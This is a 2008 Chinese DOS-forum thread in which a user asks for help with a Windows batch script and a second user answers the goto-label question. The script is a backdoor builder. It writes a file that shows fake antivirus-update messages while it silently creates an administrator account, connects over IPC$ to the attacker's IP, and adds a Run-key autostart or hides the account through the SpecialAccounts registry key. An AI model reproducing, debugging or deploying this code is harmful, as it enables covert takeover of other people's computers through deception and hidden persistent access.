中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-06-29 17:42
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 灵异的批处理! 吓.... 查看 805 回复 1
楼 主 灵异的批处理! 吓.... 发表于 2008-08-06 15:26 ·  中国 广西 梧州 电信
新手上路
积分 18
发帖 5
注册 2008-08-03 10:02
17年会员
UID 122688
性别 男
状态 离线
论坛终于恢复了,真高兴,今天,我写了一个批处理,有一个很奇怪的现象:
==============================================
E项.bat
==============================================
@echo off
:son
echo 所有的设置不能为空!
echo.
echo 连接端的名字是:ipc.bat
echo.
set /p szd=连接端生成在:
set /p yip=你电脑的IP:
set /p tdl=被连接者登陆本机的帐户名:
set /p tdma=他帐户的密码:
set /p ndzh=在被连接者新建的用户名:
set /p ndma=你远程帐户的密码:
echo 配置成功!
pause.
cls
echo 固定配置:
echo 对方登陆IP:%yip% 对方登陆帐户:%tdl% 对方帐户密码:%tdma%
echo 你在他的电脑上建立的帐户:%ndzh% 帐户密码:%ndma% 帐户属性:管理员
echo =======================
echo 以下是连接端的添加项目.
echo =======================
echo .
echo z.你的控制端会自动启动.(但开机时弹出黑框)
echo q.你的远程帐户是隐藏的.
echo w.两者兼备.
set /p ndxz= :
if %ndxz% ==z goto :z
if %ndxz% ==q goto :q
if %ndxz% ==w goto :w


::连接项目的选择项目
::啊!手麻了....

:z
echo 输入连接端你想放在对方的哪里? 如E:\hack\ipc.bat 就输入:E:\hack\ipc.bat
echo 一但确定了,你就必须放在那里,否则达不到自动启动的功能.
set /p dif=地方路径:
set 123=%dif%
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功.
:q
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功.
:w
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功!


本应按 z 跳到 z 的项下,按 w 跳到 w 的项下,对吧!
可当我按 z 和 w 都会跳到 q 项下!!!!
帮帮我啊!!!
2 发表于 2008-08-07 18:40 ·  中国 河北 保定 联通
铂金会员
★★★★
网络独行侠
积分 6,962
发帖 2,753
注册 2003-04-16 00:00
23年会员
UID 1565
性别 男
来自 河北保定
状态 离线
goto后面应该直接跟标签名,去掉那个冒号。为了避免不必要的重复,可以给标准加上适当的前缀。

例如:_z _ZZZ

if ... goto _zzz
...
:_zzz
...
偶只喜欢回答那些标题和描述都很清晰的帖子!
如想解决问题,请认真学习“这个帖子”和“这个帖子”并努力遵守,如果可能,请告诉更多的人!
论坛跳转: